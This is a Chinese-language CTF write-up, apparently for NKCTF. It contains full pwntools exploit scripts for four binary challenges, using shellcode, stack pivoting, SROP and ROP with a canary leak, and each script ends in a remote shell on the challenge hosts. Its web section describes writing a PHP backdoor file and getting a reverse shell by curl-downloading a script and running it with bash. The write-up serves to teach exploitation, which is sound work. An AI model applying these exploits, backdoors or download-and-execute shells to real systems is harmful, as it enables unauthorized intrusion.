PWN
1.ezshellcode
1. read(0, &v6, 0x100uLL);
存在栈溢出
2.(&buf2[v7])("good luck!", &v6);
调用shellcode
3.\x90
指令制作滑板绕过rand函数,实际调试偏移好像固定
exp:
from pwn import *
context(arch='amd64', os='linux')#, log_level='debug')
io=remote('node.yuzhian.com.cn',31792)
#io=process('./pwn')
payload=b'\x90'*0x56+b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
io.sendafter(b"u can make it in 5 min!",payload)
io.interactive()
2.a_story_of_a_pwner
1.warning函数打印puts函数的地址(return printf("I give it up, you can see this. %p\n", &puts);
)
2.heart函数溢出0x16字节
.text:0000000000401387 lea rax, [rbp-0Ah]
.text:000000000040138B mov edx, 20h ; nbytes
.text:0000000000401390 mov rsi, rax ; buf
.text:0000000000401393 mov edi, 0
3.前三个函数各自写了8字节,使用栈迁移
from pwn import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
io=remote('node.yuzhian.com.cn',33913)
#io=process('./pwn')
def acm(cont):
io.sendlineafter(b"> ",b'1')
io.sendafter(b"what's your comment?",cont)
def ctf(cont):
io.sendlineafter(b"> ",b'2')
io.sendafter(b"what's your corment?",cont)
def love(cont):
io.sendlineafter(b"> ",b'3')
io.sendafter(b"what's your corMenT?",cont)
def heart(cont):
io.sendlineafter(b"> ",b'4')
io.sendafter(b"now, come and read my heart...",cont)
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
pop_rdi=0x401573
puts_addr=0x401382
leave_ret=0x401502
io.sendlineafter(b"> ",b'4')
io.recvuntil(b'0x')
libc_base=int(io.recv(12),16)-libc.symbols['puts']
print(hex(libc_base))
system_addr=libc_base+libc.symbols['system']
bin_addr=libc_base+next(libc.search(b'/bin/sh'))
acm(p64(bin_addr))
ctf(p64(pop_rdi))
love(p64(system_addr))
payload=b'a'*0xa+p64(0x4050a0-8)+p64(leave_ret)
heart(payload)
io.interactive()
3.ez_stack
1.很标准的sigreturn
.text:0000000000401146 mov rax, 0Fh
.text:000000000040114D retn
.text:000000000040114E ; ---------------------------------------------------------------------------
.text:000000000040114E syscall ; LINUX -
.text:0000000000401150 retn
2.存在栈溢出,最后将eax变0,没法泄露栈地址,可以向bss段写入/bin/sh
字符
exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io=remote('node2.yuzhian.com.cn',33325)
#io=process('./ez_stack')
sigret_addr=0x401146
syscall=0x40114E
bss_addr=0x4040A8
main_addr=0x4011B9
pop_rdi=0x0401283
pop_rsi_r15=0x401281
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = bss_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload=b'a'*0x18+p64(pop_rsi_r15)+p64(bss_addr)+p64(0)+p64(syscall)+p64(main_addr)
io.sendlineafter(b'Welcome to the binary world of NKCTF!',payload)
io.send(b'/bin/sh')
payload=b'a'*0x18+p64(sigret_addr)+p64(syscall)+bytes(frame)
io.sendafter(b'Welcome to the binary world of NKCTF!',payload)
io.interactive()
4.baby_rop
1.存在格式化字符串漏洞,但只能读入8字节
2.my_read函数存在溢出,但只能溢出至canary以及一个\x00
字节
3.实际运行时最后直接报错,分析后发现vuln函数返回后先leave又pop rbp最后才ret,相当于pop了两次
.text:00000000004013A8 leave
.text:00000000004013A9 mov eax, 0
.text:00000000004013AE pop rbp
4.溢出一个\x00
字节并且后续直接leave可以打一个栈迁移,格式化字符串漏洞可以得到栈地址以及canary的值。
5.实际利用:预先输入一串rop链,为减小爆破难度可以输入大量p64(ret_addr)作为滑板。
第一段rop链首先需要泄露libc基地址,其次恢复rbp的值以便第二次的进入vuln函数,并且由于rsp被抬高了,需要在第一段rop链中预先输入leave指令。细节之处在于适当要调整一下栈结构。
第二段指令直接getshell。
exp:
from pwn import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
io=remote('node2.yuzhian.com.cn',33137)
#io=process('./nkctf_message_boards')
elf=ELF('./nkctf_message_boards')
pop_rdi=0x401413
main_addr=0x4012B1
ret_addr=0x40101a
pop_rbp=0x4011bd
io.sendlineafter(b"What is your name: ",b'%p%41$p')
io.recvuntil(b'0x')
rbp_addr=int(io.recv(12),16)+0x110
print(hex(rbp_addr))
io.recvuntil(b'0x')
canary=int(io.recv(16),16)
print(hex(canary))
#p64(0)用以调整栈结构
payload=p64(ret_addr)*0x17+p64(pop_rdi)+p64(elf.got['__libc_start_main'])+p64(elf.plt['puts'])+p64(pop_rbp)+p64(rbp_addr-8)+p64(main_addr)+p64(0x4013a8)+p64(0)+p64(canary)
io.sendafter(b"What are your comments and suggestions for the NKCTF: ",payload)
libc_start_main=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(libc_start_main))
'''
libc=LibcSearcher('__libc_start_main',libc_start_main)
libc_base=libc_start_main-libc.dump('__libc_start_main')
print(hex(libc_base))
system_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')
'''
libc=ELF('./libc-2.31.so')
libc_base=libc_start_main-libc.symbols['__libc_start_main']
print(hex(libc_base))
system_addr=libc_base+libc.symbols['system']
bin_addr=libc_base+next(libc.search(b'/bin/sh'))
io.sendlineafter(b"What is your name: ",b'stas')
payload=p64(ret_addr)*0x1b+p64(pop_rdi)+p64(bin_addr)+p64(ret_addr)+p64(system_addr)+p64(canary)
io.sendafter(b"What are your comments and suggestions for the NKCTF: ",payload)
io.interactive()
WEB
1.baby_php
首先是简单的反序列化:Welcome类触发Hell0类的__toString
方法,再触发Happy类的__invoke
方法。
存在过滤
function waf($string){
if(preg_match('/f|l|a|g|\*|\?/i', $string)){
die("you are bad");
}
测试发现system函数可用,linux echo指令能够转8进制为字符,可用直接写一个后门文件
echo -ne '' >1.php
2.easy_pms
1.漏洞分析文章
2.利用文章
需要注意的是Referer需正确,最后回显显示字符太少,使用反弹shell,测试时发现可以使用curl命令,在服务器上写好文件,curl下载下来以后bash执行就行
3.webpagetest
AVD-2022-1474319使用的是phar反序列化漏洞,payload可直接使用。
Comments | NOTHING